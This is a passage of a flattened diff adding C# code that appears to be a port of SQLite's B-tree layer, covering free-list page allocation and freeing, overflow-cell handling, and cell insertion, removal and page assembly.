//memcpy(pPage1.aData[32], pTrunk.aData[0], 4); + pPage1.aData[32 + 0] = pTrunk.aData[0 + 0]; + pPage1.aData[32 + 1] = pTrunk.aData[0 + 1]; + pPage1.aData[32 + 2] = pTrunk.aData[0 + 2]; + pPage1.aData[32 + 3] = pTrunk.aData[0 + 3]; + } + else + { + //memcpy(pPrevTrunk.aData[0], pTrunk.aData[0], 4); + pPrevTrunk.aData[0 + 0] = pTrunk.aData[0 + 0]; + pPrevTrunk.aData[0 + 1] = pTrunk.aData[0 + 1]; + pPrevTrunk.aData[0 + 2] = pTrunk.aData[0 + 2]; + pPrevTrunk.aData[0 + 3] = pTrunk.aData[0 + 3]; + } + } + else + { + /* The trunk page is required by the caller but it contains + ** pointers to free-list leaves. The first leaf becomes a trunk + ** page in this case. + */ + MemPage pNewTrunk = new MemPage(); + Pgno iNewTrunk = sqlite3Get4byte(pTrunk.aData, 8); + if (iNewTrunk > mxPage) + { +#if SQLITE_DEBUG || DEBUG + rc = SQLITE_CORRUPT_BKPT(); +#else +rc = SQLITE_CORRUPT_BKPT; +#endif + goto end_allocate_page; + } + testcase(iNewTrunk == mxPage); + rc = btreeGetPage(pBt, iNewTrunk, ref pNewTrunk, 0); + if (rc != SQLITE_OK) + { + goto end_allocate_page; + } + rc = sqlite3PagerWrite(pNewTrunk.pDbPage); + if (rc != SQLITE_OK) + { + releasePage(pNewTrunk); + goto end_allocate_page; + } + //memcpy(pNewTrunk.aData[0], pTrunk.aData[0], 4); + pNewTrunk.aData[0 + 0] = pTrunk.aData[0 + 0]; + pNewTrunk.aData[0 + 1] = pTrunk.aData[0 + 1]; + pNewTrunk.aData[0 + 2] = pTrunk.aData[0 + 2]; + pNewTrunk.aData[0 + 3] = pTrunk.aData[0 + 3]; + sqlite3Put4byte(pNewTrunk.aData, (u32)4, (u32)(k - 1)); + Buffer.BlockCopy(pTrunk.aData, 12, pNewTrunk.aData, 8, (int)(k - 1) * 4);//memcpy( pNewTrunk.aData[8], ref pTrunk.aData[12], ( k - 1 ) * 4 ); + releasePage(pNewTrunk); + if (null == pPrevTrunk) + { + Debug.Assert(sqlite3PagerIswriteable(pPage1.pDbPage)); + sqlite3Put4byte(pPage1.aData, (u32)32, iNewTrunk); + } + else + { + rc = sqlite3PagerWrite(pPrevTrunk.pDbPage); + if (rc != 0) + { + goto end_allocate_page; + } + sqlite3Put4byte(pPrevTrunk.aData, (u32)0, iNewTrunk); + } + } + pTrunk = null; + TRACE("ALLOCATE: %d trunk - %d free pages left\n", pPgno, n - 1); +#endif + } + else if (k > 0) + { + /* Extract a leaf from the trunk */ + u32 closest; + Pgno iPage; + byte[] aData = pTrunk.aData; + rc = sqlite3PagerWrite(pTrunk.pDbPage); + if (rc != 0) + { + goto end_allocate_page; + } + if (nearby > 0) + { + u32 i; + int dist; + closest = 0; + dist = (int)(sqlite3Get4byte(aData, 8) - nearby); + if (dist < 0) dist = -dist; + for (i = 1; i < k; i++) + { + int d2 = (int)(sqlite3Get4byte(aData, 8 + i * 4) - nearby); + if (d2 < 0) d2 = -d2; + if (d2 < dist) + { + closest = i; + dist = d2; + } + } + } + else + { + closest = 0; + } + + iPage = sqlite3Get4byte(aData, 8 + closest * 4); + testcase(iPage == mxPage); + if (iPage > mxPage) + { +#if SQLITE_DEBUG || DEBUG + rc = SQLITE_CORRUPT_BKPT(); +#else +rc = SQLITE_CORRUPT_BKPT; +#endif + goto end_allocate_page; + } + testcase(iPage == mxPage); + if (0 == searchList || iPage == nearby) + { + int noContent; + pPgno = iPage; + TRACE("ALLOCATE: %d was leaf %d of %d on trunk %d" + + ": %d more free pages\n", + pPgno, closest + 1, k, pTrunk.pgno, n - 1); + if (closest < k - 1) + { + Buffer.BlockCopy(aData, (int)(4 + k * 4), aData, 8 + (int)closest * 4, 4);//memcpy( aData[8 + closest * 4], ref aData[4 + k * 4], 4 ); + } + sqlite3Put4byte(aData, (u32)4, (k - 1));// sqlite3Put4byte( aData, 4, k - 1 ); + Debug.Assert(sqlite3PagerIswriteable(pTrunk.pDbPage)); + noContent = !btreeGetHasContent(pBt, pPgno) ? 1 : 0; + rc = btreeGetPage(pBt, pPgno, ref ppPage, noContent); + if (rc == SQLITE_OK) + { + rc = sqlite3PagerWrite((ppPage).pDbPage); + if (rc != SQLITE_OK) + { + releasePage(ppPage); + } + } + searchList = 0; + } + } + releasePage(pPrevTrunk); + pPrevTrunk = null; + } while (searchList != 0); + } + else + { + /* There are no pages on the freelist, so create a new page at the + ** end of the file */ + int nPage = (int)pagerPagecount(pBt); + pPgno = (u32)nPage + 1; + + if (pPgno == PENDING_BYTE_PAGE(pBt)) + { + (pPgno)++; + } + +#if !SQLITE_OMIT_AUTOVACUUM + if (pBt.autoVacuum && PTRMAP_ISPAGE(pBt, pPgno)) + { + /* If pPgno refers to a pointer-map page, allocate two new pages + ** at the end of the file instead of one. The first allocated page + ** becomes a new pointer-map page, the second is used by the caller. + */ + MemPage pPg = null; + TRACE("ALLOCATE: %d from end of file (pointer-map page)\n", pPgno); + Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt)); + rc = btreeGetPage(pBt, pPgno, ref pPg, 0); + if (rc == SQLITE_OK) + { + rc = sqlite3PagerWrite(pPg.pDbPage); + releasePage(pPg); + } + if (rc != 0) return rc; + (pPgno)++; + if (pPgno == PENDING_BYTE_PAGE(pBt)) { (pPgno)++; } + } +#endif + + Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt)); + rc = btreeGetPage(pBt, pPgno, ref ppPage, 0); + if (rc != 0) return rc; + rc = sqlite3PagerWrite((ppPage).pDbPage); + if (rc != SQLITE_OK) + { + releasePage(ppPage); + } + TRACE("ALLOCATE: %d from end of file\n", pPgno); + } + + Debug.Assert(pPgno != PENDING_BYTE_PAGE(pBt)); + + end_allocate_page: + releasePage(pTrunk); + releasePage(pPrevTrunk); + if (rc == SQLITE_OK) + { + if (sqlite3PagerPageRefcount((ppPage).pDbPage) > 1) + { + releasePage(ppPage); +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + (ppPage).isInit = 0; + } + else + { + ppPage = null; + } + return rc; + } + + /* + ** This function is used to add page iPage to the database file free-list. + ** It is assumed that the page is not already a part of the free-list. + ** + ** The value passed as the second argument to this function is optional. + ** If the caller happens to have a pointer to the MemPage object + ** corresponding to page iPage handy, it may pass it as the second value. + ** Otherwise, it may pass NULL. + ** + ** If a pointer to a MemPage object is passed as the second argument, + ** its reference count is not altered by this function. + */ + static int freePage2(BtShared pBt, MemPage pMemPage, Pgno iPage) + { + MemPage pTrunk = null; /* Free-list trunk page */ + Pgno iTrunk = 0; /* Page number of free-list trunk page */ + MemPage pPage1 = pBt.pPage1; /* Local reference to page 1 */ + MemPage pPage; /* Page being freed. May be NULL. */ + int rc; /* Return Code */ + int nFree; /* Initial number of pages on free-list */ + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + Debug.Assert(iPage > 1); + Debug.Assert(null == pMemPage || pMemPage.pgno == iPage); + + if (pMemPage != null) + { + pPage = pMemPage; + sqlite3PagerRef(pPage.pDbPage); + } + else + { + pPage = btreePageLookup(pBt, iPage); + } + + /* Increment the free page count on pPage1 */ + rc = sqlite3PagerWrite(pPage1.pDbPage); + if (rc != 0) goto freepage_out; + nFree = (int)sqlite3Get4byte(pPage1.aData, 36); + sqlite3Put4byte(pPage1.aData, 36, nFree + 1); + +#if SQLITE_SECURE_DELETE +/* If the SQLITE_SECURE_DELETE compile-time option is enabled, then +** always fully overwrite deleted information with zeros. +*/ +if( (!pPage && (rc = btreeGetPage(pBt, iPage, ref pPage, 0))) +|| (rc = sqlite3PagerWrite(pPage.pDbPage)) +){ +goto freepage_out; +} +memset(pPage.aData, 0, pPage.pBt.pageSize); +#endif + + /* If the database supports auto-vacuum, write an entry in the pointer-map +** to indicate that the page is free. +*/ +#if !SQLITE_OMIT_AUTOVACUUM // if ( ISAUTOVACUUM ) + if (pBt.autoVacuum) +#else +if (false) +#endif + { + ptrmapPut(pBt, iPage, PTRMAP_FREEPAGE, 0, ref rc); + if (rc != 0) goto freepage_out; + } + + /* Now manipulate the actual database free-list structure. There are two + ** possibilities. If the free-list is currently empty, or if the first + ** trunk page in the free-list is full, then this page will become a + ** new free-list trunk page. Otherwise, it will become a leaf of the + ** first trunk page in the current free-list. This block tests if it + ** is possible to add the page as a new free-list leaf. + */ + if (nFree != 0) + { + u32 nLeaf; /* Initial number of leaf cells on trunk page */ + + iTrunk = sqlite3Get4byte(pPage1.aData, 32); + rc = btreeGetPage(pBt, iTrunk, ref pTrunk, 0); + if (rc != SQLITE_OK) + { + goto freepage_out; + } + + nLeaf = sqlite3Get4byte(pTrunk.aData, 4); + Debug.Assert(pBt.usableSize > 32); + if (nLeaf > (u32)pBt.usableSize / 4 - 2) + { +#if SQLITE_DEBUG || DEBUG + rc = SQLITE_CORRUPT_BKPT(); +#else +rc = SQLITE_CORRUPT_BKPT; +#endif + goto freepage_out; + } + if (nLeaf < (u32)pBt.usableSize / 4 - 8) + { + /* In this case there is room on the trunk page to insert the page + ** being freed as a new leaf. + ** + ** Note that the trunk page is not really full until it contains + ** usableSize/4 - 2 entries, not usableSize/4 - 8 entries as we have + ** coded. But due to a coding error in versions of SQLite prior to + ** 3.6.0, databases with freelist trunk pages holding more than + ** usableSize/4 - 8 entries will be reported as corrupt. In order + ** to maintain backwards compatibility with older versions of SQLite, + ** we will continue to restrict the number of entries to usableSize/4 - 8 + ** for now. At some point in the future (once everyone has upgraded + ** to 3.6.0 or later) we should consider fixing the conditional above + ** to read "usableSize/4-2" instead of "usableSize/4-8". + */ + rc = sqlite3PagerWrite(pTrunk.pDbPage); + if (rc == SQLITE_OK) + { + sqlite3Put4byte(pTrunk.aData, (u32)4, nLeaf + 1); + sqlite3Put4byte(pTrunk.aData, (u32)8 + nLeaf * 4, iPage); +#if !SQLITE_SECURE_DELETE + if (pPage != null) + { + sqlite3PagerDontWrite(pPage.pDbPage); + } +#endif + rc = btreeSetHasContent(pBt, iPage); + } + TRACE("FREE-PAGE: %d leaf on trunk page %d\n", iPage, pTrunk.pgno); + goto freepage_out; + } + } + + /* If control flows to this point, then it was not possible to add the + ** the page being freed as a leaf page of the first trunk in the free-list. + ** Possibly because the free-list is empty, or possibly because the + ** first trunk in the free-list is full. Either way, the page being freed + ** will become the new first trunk page in the free-list. + */ + if (pPage == null && SQLITE_OK != (rc = btreeGetPage(pBt, iPage, ref pPage, 0))) + { + goto freepage_out; + } + rc = sqlite3PagerWrite(pPage.pDbPage); + if (rc != SQLITE_OK) + { + goto freepage_out; + } + sqlite3Put4byte(pPage.aData, iTrunk); + sqlite3Put4byte(pPage.aData, 4, 0); + sqlite3Put4byte(pPage1.aData, (u32)32, iPage); + TRACE("FREE-PAGE: %d new trunk page replacing %d\n", pPage.pgno, iTrunk); + + freepage_out: + if (pPage != null) + { + pPage.isInit = 0; + } + releasePage(pPage); + releasePage(pTrunk); + return rc; + } + static void freePage(MemPage pPage, ref int pRC) + { + if ((pRC) == SQLITE_OK) + { + pRC = freePage2(pPage.pBt, pPage, pPage.pgno); + } + } + + /* + ** Free any overflow pages associated with the given Cell. + */ + static int clearCell(MemPage pPage, int pCell) + { + BtShared pBt = pPage.pBt; + CellInfo info = new CellInfo(); + Pgno ovflPgno; + int rc; + int nOvfl; + u16 ovflPageSize; + + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + btreeParseCellPtr( pPage, pCell, ref info ); + if (info.iOverflow == 0) + { + return SQLITE_OK; /* No overflow pages. Return without doing anything */ + } + ovflPgno = sqlite3Get4byte(pPage.aData, pCell, info.iOverflow); + Debug.Assert(pBt.usableSize > 4); + ovflPageSize = (u16)(pBt.usableSize - 4); + nOvfl = (int)((info.nPayload - info.nLocal + ovflPageSize - 1) / ovflPageSize); + Debug.Assert(ovflPgno == 0 || nOvfl > 0); + while (nOvfl-- != 0) + { + Pgno iNext = 0; + MemPage pOvfl = null; + if (ovflPgno < 2 || ovflPgno > pagerPagecount(pBt)) + { + /* 0 is not a legal page number and page 1 cannot be an + ** overflow page. Therefore if ovflPgno<2 or past the end of the + ** file the database must be corrupt. */ +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + if (nOvfl != 0) + { + rc = getOverflowPage(pBt, ovflPgno, ref pOvfl, ref iNext); + if (rc != 0) return rc; + } + rc = freePage2(pBt, pOvfl, ovflPgno); + if (pOvfl != null) + { + sqlite3PagerUnref(pOvfl.pDbPage); + } + if (rc != 0) return rc; + ovflPgno = iNext; + } + return SQLITE_OK; + } + + /* + ** Create the byte sequence used to represent a cell on page pPage + ** and write that byte sequence into pCell[]. Overflow pages are + ** allocated and filled in as necessary. The calling procedure + ** is responsible for making sure sufficient space has been allocated + ** for pCell[]. + ** + ** Note that pCell does not necessary need to point to the pPage.aData + ** area. pCell might point to some temporary storage. The cell will + ** be constructed in this temporary area then copied into pPage.aData + ** later. + */ + static int fillInCell( + MemPage pPage, /* The page that contains the cell */ + byte[] pCell, /* Complete text of the cell */ + byte[] pKey, i64 nKey, /* The key */ + byte[] pData, int nData, /* The data */ + int nZero, /* Extra zero bytes to append to pData */ + ref int pnSize /* Write cell size here */ + ) + { + int nPayload; + u8[] pSrc; int pSrcIndex = 0; + int nSrc, n, rc; + int spaceLeft; + MemPage pOvfl = null; + MemPage pToRelease = null; + byte[] pPrior; int pPriorIndex = 0; + byte[] pPayload; int pPayloadIndex = 0; + BtShared pBt = pPage.pBt; + Pgno pgnoOvfl = 0; + int nHeader; + CellInfo info = new CellInfo(); + + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + + /* pPage is not necessarily writeable since pCell might be auxiliary + ** buffer space that is separate from the pPage buffer area */ + // TODO -- Determine if the following Assert is needed under c# + //Debug.Assert( pCell < pPage.aData || pCell >= &pPage.aData[pBt.pageSize] + // || sqlite3PagerIswriteable(pPage.pDbPage) ); + + /* Fill in the header. */ + nHeader = 0; + if (0 == pPage.leaf) + { + nHeader += 4; + } + if (pPage.hasData != 0) + { + nHeader += (int)putVarint(pCell, nHeader, (int)(nData + nZero)); //putVarint( pCell[nHeader], nData + nZero ); + } + else + { + nData = nZero = 0; + } + nHeader += putVarint(pCell, nHeader, (u64)nKey); //putVarint( pCell[nHeader], *(u64*)&nKey ); + btreeParseCellPtr( pPage, pCell, ref info ); + Debug.Assert(info.nHeader == nHeader); + Debug.Assert(info.nKey == nKey); + Debug.Assert(info.nData == (u32)(nData + nZero)); + + /* Fill in the payload */ + nPayload = nData + nZero; + if (pPage.intKey != 0) + { + pSrc = pData; + nSrc = nData; + nData = 0; + } + else + { + if (NEVER(nKey > 0x7fffffff || pKey == null)) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + nPayload += (int)nKey; + pSrc = pKey; + nSrc = (int)nKey; + } + pnSize = info.nSize; + spaceLeft = info.nLocal; + // pPayload = &pCell[nHeader]; + pPayload = pCell; + pPayloadIndex = nHeader; + // pPrior = &pCell[info.iOverflow]; + pPrior = pCell; + pPriorIndex = info.iOverflow; + + while (nPayload > 0) + { + if (spaceLeft == 0) + { +#if !SQLITE_OMIT_AUTOVACUUM + Pgno pgnoPtrmap = pgnoOvfl; /* Overflow page pointer-map entry page */ + if (pBt.autoVacuum) + { + do + { + pgnoOvfl++; + } while ( + PTRMAP_ISPAGE(pBt, pgnoOvfl) || pgnoOvfl == PENDING_BYTE_PAGE(pBt) + ); + } +#endif + rc = allocateBtreePage(pBt, ref pOvfl, ref pgnoOvfl, pgnoOvfl, 0); +#if !SQLITE_OMIT_AUTOVACUUM + /* If the database supports auto-vacuum, and the second or subsequent +** overflow page is being allocated, add an entry to the pointer-map +** for that page now. +** +** If this is the first overflow page, then write a partial entry +** to the pointer-map. If we write nothing to this pointer-map slot, +** then the optimistic overflow chain processing in clearCell() +** may misinterpret the uninitialised values and delete the +** wrong pages from the database. +*/ + if (pBt.autoVacuum && rc == SQLITE_OK) + { + u8 eType = (u8)(pgnoPtrmap != 0 ? PTRMAP_OVERFLOW2 : PTRMAP_OVERFLOW1); + ptrmapPut(pBt, pgnoOvfl, eType, pgnoPtrmap, ref rc); + if (rc != 0) + { + releasePage(pOvfl); + } + } +#endif + if (rc != 0) + { + releasePage(pToRelease); + return rc; + } + + /* If pToRelease is not zero than pPrior points into the data area + ** of pToRelease. Make sure pToRelease is still writeable. */ + Debug.Assert(pToRelease == null || sqlite3PagerIswriteable(pToRelease.pDbPage)); + + /* If pPrior is part of the data area of pPage, then make sure pPage + ** is still writeable */ + // TODO -- Determine if the following Assert is needed under c# + //Debug.Assert( pPrior < pPage.aData || pPrior >= &pPage.aData[pBt.pageSize] + // || sqlite3PagerIswriteable(pPage.pDbPage) ); + + sqlite3Put4byte(pPrior, pPriorIndex, pgnoOvfl); + releasePage(pToRelease); + pToRelease = pOvfl; + pPrior = pOvfl.aData; pPriorIndex = 0; + sqlite3Put4byte(pPrior, 0); + pPayload = pOvfl.aData; pPayloadIndex = 4; //&pOvfl.aData[4]; + spaceLeft = pBt.usableSize - 4; + } + n = nPayload; + if (n > spaceLeft) n = spaceLeft; + + /* If pToRelease is not zero than pPayload points into the data area + ** of pToRelease. Make sure pToRelease is still writeable. */ + Debug.Assert(pToRelease == null || sqlite3PagerIswriteable(pToRelease.pDbPage)); + + /* If pPayload is part of the data area of pPage, then make sure pPage + ** is still writeable */ + // TODO -- Determine if the following Assert is needed under c# + //Debug.Assert( pPayload < pPage.aData || pPayload >= &pPage.aData[pBt.pageSize] + // || sqlite3PagerIswriteable(pPage.pDbPage) ); + + if (nSrc > 0) + { + if (n > nSrc) n = nSrc; + Debug.Assert(pSrc != null); + Buffer.BlockCopy(pSrc, pSrcIndex, pPayload, pPayloadIndex, n);//memcpy(pPayload, pSrc, n); + } + else + { + byte[] pZeroBlob = new byte[n]; // memset(pPayload, 0, n); + Buffer.BlockCopy(pZeroBlob, 0, pPayload, pPayloadIndex, n); + } + nPayload -= n; + pPayloadIndex += n;// pPayload += n; + pSrcIndex += n;// pSrc += n; + nSrc -= n; + spaceLeft -= n; + if (nSrc == 0) + { + nSrc = nData; + pSrc = pData; + } + } + releasePage(pToRelease); + return SQLITE_OK; + } + + /* + ** Remove the i-th cell from pPage. This routine effects pPage only. + ** The cell content is not freed or deallocated. It is assumed that + ** the cell content has been copied someplace else. This routine just + ** removes the reference to the cell from pPage. + ** + ** "sz" must be the number of bytes in the cell. + */ + static void dropCell(MemPage pPage, int idx, int sz, ref int pRC) + { + int i; /* Loop counter */ + int pc; /* Offset to cell content of cell being deleted */ + u8[] data; /* pPage.aData */ + int ptr; /* Used to move bytes around within data[] */ + int rc; /* The return code */ + int hdr; /* Beginning of the header. 0 most pages. 100 page 1 */ + + if (pRC != 0) return; + + Debug.Assert(idx >= 0 && idx < pPage.nCell); + Debug.Assert(sz == cellSize(pPage, idx)); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + data = pPage.aData; + ptr = pPage.cellOffset + 2 * idx; //ptr = &data[pPage.cellOffset + 2 * idx]; + pc = get2byte(data, ptr); + hdr = pPage.hdrOffset; + testcase(pc == get2byte(data, hdr + 5)); + testcase(pc + sz == pPage.pBt.usableSize); + if (pc < get2byte(data, hdr + 5) || pc + sz > pPage.pBt.usableSize) + { +#if SQLITE_DEBUG || DEBUG + pRC = SQLITE_CORRUPT_BKPT(); +#else +pRC = SQLITE_CORRUPT_BKPT; +#endif + + return; + } + rc = freeSpace(pPage, pc, sz); + if (rc != 0) + { + pRC = rc; + return; + } + //for ( i = idx + 1 ; i < pPage.nCell ; i++, ptr += 2 ) + //{ + // ptr[0] = ptr[2]; + // ptr[1] = ptr[3]; + //} + Buffer.BlockCopy(data, ptr + 2, data, ptr, (pPage.nCell - 1 - idx) * 2); + pPage.nCell--; + data[pPage.hdrOffset + 3] = (byte)(pPage.nCell >> 8); data[pPage.hdrOffset + 4] = (byte)(pPage.nCell); //put2byte( data, hdr + 3, pPage.nCell ); + pPage.nFree += 2; + } + + /* + ** Insert a new cell on pPage at cell index "i". pCell points to the + ** content of the cell. + ** + ** If the cell content will fit on the page, then put it there. If it + ** will not fit, then make a copy of the cell content into pTemp if + ** pTemp is not null. Regardless of pTemp, allocate a new entry + ** in pPage.aOvfl[] and make it point to the cell content (either + ** in pTemp or the original pCell) and also record its index. + ** Allocating a new entry in pPage.aCell[] implies that + ** pPage.nOverflow is incremented. + ** + ** If nSkip is non-zero, then do not copy the first nSkip bytes of the + ** cell. The caller will overwrite them after this function returns. If + ** nSkip is non-zero, then pCell may not point to an invalid memory location + ** (but pCell+nSkip is always valid). + */ + static void insertCell( + MemPage pPage, /* Page into which we are copying */ + int i, /* New cell becomes the i-th cell of the page */ + u8[] pCell, /* Content of the new cell */ + int sz, /* Bytes of content in pCell */ + u8[] pTemp, /* Temp storage space for pCell, if needed */ + Pgno iChild, /* If non-zero, replace first 4 bytes with this value */ + ref int pRC /* Read and write return code from here */ + ) + { + int idx = 0; /* Where to write new cell content in data[] */ + int j; /* Loop counter */ + int end; /* First byte past the last cell pointer in data[] */ + int ins; /* Index in data[] where new cell pointer is inserted */ + int cellOffset; /* Address of first cell pointer in data[] */ + u8[] data; /* The content of the whole page */ + u8 ptr; /* Used for moving information around in data[] */ + + int nSkip = (iChild != 0 ? 4 : 0); + + if (pRC != 0) return; + + Debug.Assert(i >= 0 && i <= pPage.nCell + pPage.nOverflow); + Debug.Assert(pPage.nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); + Debug.Assert(pPage.nOverflow <= ArraySize(pPage.aOvfl)); + Debug.Assert(sz == cellSizePtr(pPage, pCell)); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + if (pPage.nOverflow != 0 || sz + 2 > pPage.nFree) + { + if (pTemp != null) + { + Buffer.BlockCopy(pCell, nSkip, pTemp, nSkip, sz - nSkip);//memcpy(pTemp+nSkip, pCell+nSkip, sz-nSkip); + pCell = pTemp; + } + if (iChild != 0) + { + sqlite3Put4byte(pCell, iChild); + } + j = pPage.nOverflow++; + Debug.Assert(j < pPage.aOvfl.Length);//(int)(sizeof(pPage.aOvfl)/sizeof(pPage.aOvfl[0])) ); + pPage.aOvfl[j].pCell = pCell; + pPage.aOvfl[j].idx = (u16)i; + } + else + { + int rc = sqlite3PagerWrite(pPage.pDbPage); + if (rc != SQLITE_OK) + { + pRC = rc; + return; + } + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + data = pPage.aData; + cellOffset = pPage.cellOffset; + end = cellOffset + 2 * pPage.nCell; + ins = cellOffset + 2 * i; + rc = allocateSpace(pPage, sz, ref idx); + if (rc != 0) { pRC = rc; return; } + /* The allocateSpace() routine guarantees the following two properties + ** if it returns success */ + Debug.Assert(idx >= end + 2); + Debug.Assert(idx + sz <= pPage.pBt.usableSize); + pPage.nCell++; + pPage.nFree -= (u16)(2 + sz); + Buffer.BlockCopy(pCell, nSkip, data, idx + nSkip, sz - nSkip); //memcpy( data[idx + nSkip], pCell + nSkip, sz - nSkip ); + if (iChild != 0) + { + sqlite3Put4byte(data, idx, iChild); + } + //for(j=end, ptr=&data[j]; j>ins; j-=2, ptr-=2){ + // ptr[0] = ptr[-2]; + // ptr[1] = ptr[-1]; + //} + for (j = end ; j > ins; j -= 2) + { + data[j + 0] = data[j - 2]; + data[j + 1] = data[j - 1]; + } + put2byte(data, ins, idx); + put2byte(data, pPage.hdrOffset + 3, pPage.nCell); +#if !SQLITE_OMIT_AUTOVACUUM + if (pPage.pBt.autoVacuum) + { + /* The cell may contain a pointer to an overflow page. If so, write + ** the entry for the overflow page into the pointer map. + */ + ptrmapPutOvflPtr(pPage, pCell, ref pRC); + } +#endif + } + } + + /* + ** Add a list of cells to a page. The page should be initially empty. + ** The cells are guaranteed to fit on the page. + */ + static void assemblePage( + MemPage pPage, /* The page to be assemblied */ + int nCell, /* The number of cells to add to this page */ + u8[] apCell, /* Pointer to a single the cell bodies */ + int[] aSize /* Sizes of the cells bodie*/ + ) + { + int i; /* Loop counter */ + int pCellptr; /* Address of next cell pointer */ + int cellbody; /* Address of next cell body */ + byte[] data = pPage.aData; /* Pointer to data for pPage */ + int hdr = pPage.hdrOffset; /* Offset of header on pPage */ + int nUsable = pPage.pBt.usableSize; /* Usable size of page */ + + Debug.Assert(pPage.nOverflow == 0); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + + /* Check that the page has just been zeroed by zeroPage() */ + Debug.Assert(pPage.nCell == 0); + Debug.Assert(get2byte(data, hdr + 5) == nUsable); + + pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2]; + cellbody = nUsable; + for (i = nCell - 1; i >= 0; i--) + { + pCellptr -= 2; + cellbody -= aSize[i]; + put2byte(data, pCellptr, cellbody); + Buffer.BlockCopy(apCell, 0, data, cellbody, aSize[i]);// memcpy(data[cellbody], apCell[i], aSize[i]); + } + put2byte(data, hdr + 3, nCell); + put2byte(data, hdr + 5, cellbody); + pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody); + pPage.nCell = (u16)nCell; + } + static void assemblePage( + MemPage pPage, /* The page to be assemblied */ + int nCell, /* The number of cells to add to this page */ + u8[][] apCell, /* Pointers to cell bodies */ + u16[] aSize, /* Sizes of the cells */ + int offset /* Offset into the cell bodies, for c# */ + ) + { + int i; /* Loop counter */ + int pCellptr; /* Address of next cell pointer */ + int cellbody; /* Address of next cell body */ + byte[] data = pPage.aData; /* Pointer to data for pPage */ + int hdr = pPage.hdrOffset; /* Offset of header on pPage */ + int nUsable = pPage.pBt.usableSize; /* Usable size of page */ + + Debug.Assert(pPage.nOverflow == 0); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + + /* Check that the page has just been zeroed by zeroPage() */ + Debug.Assert(pPage.nCell == 0); + Debug.Assert(get2byte(data, hdr + 5) == nUsable); + + pCellptr = pPage.cellOffset + nCell * 2; //data[pPage.cellOffset + nCell * 2]; + cellbody = nUsable; + for (i = nCell - 1; i >= 0; i--) + { + pCellptr -= 2; + cellbody -= aSize[i + offset]; + put2byte(data, pCellptr, cellbody); + Buffer.BlockCopy(apCell[offset + i], 0, data, cellbody, aSize[i + offset]);// memcpy(&data[cellbody], apCell[i], aSize[i]); + } + put2byte(data, hdr + 3, nCell); + put2byte(data, hdr + 5, cellbody); + pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody); + pPage.nCell = (u16)nCell; + } + + static void assemblePage( + MemPage pPage, /* The page to be assemblied */ + int nCell, /* The number of cells to add to this page */ + u8[] apCell, /* Pointers to cell bodies */ + u16[] aSize /* Sizes of the cells */ + ) + { + int i; /* Loop counter */ + int pCellptr; /* Address of next cell pointer */ + int cellbody; /* Address of next cell body */ + u8[] data = pPage.aData; /* Pointer to data for pPage */ + int hdr = pPage.hdrOffset; /* Offset of header on pPage */ + int nUsable = pPage.pBt.usableSize; /* Usable size of page */ + + Debug.Assert(pPage.nOverflow == 0); + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(nCell >= 0 && nCell <= MX_CELL(pPage.pBt) && MX_CELL(pPage.pBt) <= 5460); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + + /* Check that the page has just been zeroed by zeroPage() */ + Debug.Assert(pPage.nCell == 0); + Debug.Assert(get2byte(data, hdr + 5) == nUsable); + + pCellptr = pPage.cellOffset + nCell * 2; //&data[pPage.cellOffset + nCell * 2]; + cellbody = nUsable; + for (i = nCell - 1; i >= 0; i--) + { + pCellptr -= 2; + cellbody -= aSize[i]; + put2byte(data, pCellptr, cellbody); + Buffer.BlockCopy(apCell, 0, data, cellbody, aSize[i]);//memcpy( data[cellbody], apCell[i], aSize[i] ); + } + put2byte(data, hdr + 3, nCell); + put2byte(data, hdr + 5, cellbody); + pPage.nFree -= (u16)(nCell * 2 + nUsable - cellbody); + pPage.nCell = (u16)nCell; + } + + /* + ** The following parameters determine how many adjacent pages get involved + ** in a balancing operation. NN is the number of neighbors on either side + ** of the page that participate in the balancing operation. NB is the + ** total number of pages that participate, including the target page and + ** NN neighbors on either side. + ** + ** The minimum value of NN is 1 (of course). Increasing NN above 1 + ** (to 2 or 3) gives a modest improvement in SELECT and DELETE performance + ** in exchange for a larger degradation in INSERT and UPDATE performance. + ** The value of NN appears to give the best results overall. + */ + public const int NN = 1; /* Number of neighbors on either side of pPage */ + public const int NB = (NN * 2 + 1); /* Total pages involved in the balance */ + +#if !SQLITE_OMIT_QUICKBALANCE + /* +** This version of balance() handles the common special case where +** a new entry is being inserted on the extreme right-end of the +** tree, in other words, when the new entry will become the largest +** entry in the tree. +** +** Instead of trying to balance the 3 right-most leaf pages, just add +** a new page to the right-hand side and put the one new entry in +** that page. This leaves the right side of the tree somewhat +** unbalanced. But odds are that we will be inserting new entries +** at the end soon afterwards so the nearly empty page will quickly +** fill up. On average. +** +** pPage is the leaf page which is the right-most page in the tree. +** pParent is its parent. pPage must have a single overflow entry +** which is also the right-most entry on the page. +** +** The 